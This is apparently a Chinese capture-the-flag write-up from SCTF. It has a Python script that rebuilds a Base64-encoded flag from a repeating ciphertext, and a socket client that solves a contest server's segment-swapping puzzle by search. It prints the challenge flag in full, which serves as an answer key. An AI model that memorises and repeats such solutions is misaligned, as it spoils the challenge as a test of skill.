# -*- coding:utf-8 -*- import sys import hashlib import base64 def crack(): ciphertext = base64.b64decode("Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=") plaintext = "*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****" print repr(ciphertext) length = len(ciphertext) / 5 answer = list("*"*length) for i in xrange(0, len(plaintext)): if plaintext[i] != '*': answer[i%length] = plaintext[i] answer = "".join(answer) print answer print base64.b64decode(answer) # SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?} if __name__ == "__main__": crack()
解出来的明文为:
U0NURntEMF95MHVfcjNhMWx5X2tuMHdfY3J5cHQwOXJhcGh5P30=============
进行Base64解码得到Flag为。SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}
#!/usr/bin/env python #encoding:utf-8 import socket def get_one(s): try: ret = s.recv(100) while ret.find(":X\n") == -1 and ret.find("SCTF") == -1: ret += s.recv(100) print ret return ret[:-1] except Exception, e: print 'Fail', ret return ret def check(now, size): for i in xrange(1, size): if now[i - 1][2] != now[i][0]: return False return True def swap(now, i, j, k, deep): history[deep] = [i, j, k] if k < i: return now[:k] + now[i:j + 1] + now[k:i] + now[j + 1:] elif k > j: return now[:i] + now[j + 1:k] + now[i:j + 1] + now[k:] return now def dfs(now, deep, max_deep, size): if deep == max_deep: if check(now, size): return True return False for i in xrange(1, size): if now[i - 1][2] != now[i][0]: for j in xrange(1, size): if now[i - 1][2] == now[j][0]: start = j break for j in xrange(0, size - 1): if now[i][0] == now[j][2]: stop = j break if start <= stop and (start > i or stop < i - 1): return dfs(swap(now, start, stop, i, deep), deep + 1, max_deep, size) for i in xrange(1, size - 1): if now[i - 1][2] == now[i][0]: continue for j in xrange(i, size - 1): if now[j][2] == now[j + 1][0]: continue for k in xrange(1, i): if now[k - 1][2] != now[k][0] and dfs(swap(now, i, j, k, deep), deep + 1, max_deep, size): return True for k in xrange(j + 2, size): if now[k - 1][2] != now[k][0] and dfs(swap(now, i, j, k, deep), deep + 1, max_deep, size): return True return False def get_answer(now, max_step): now = now.replace(' ', '').replace('=', '*').split('*') size = len(now) for i in xrange(1, max_step + 1): if dfs(now, 0, i, size): print history return i history = [[] for i in range(10)] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('218.2.197.248', 7777)) round_count = 1 ret = get_one(s)[len("Let's start this game!\n"):] while True: step = get_answer(ret, 7) for i in xrange(step): s.send("%d %d %d" % (history[i][0], history[i][1], history[i][2])) ret = get_one(s) print 'Round', round_count, 'finsh.\n' round_count += 1 ret = get_one(s)[len('Round pass...\n'):]
【本文来源360bobao Madimo和西安电子科技大学L战队提供 SP胖编编辑发布】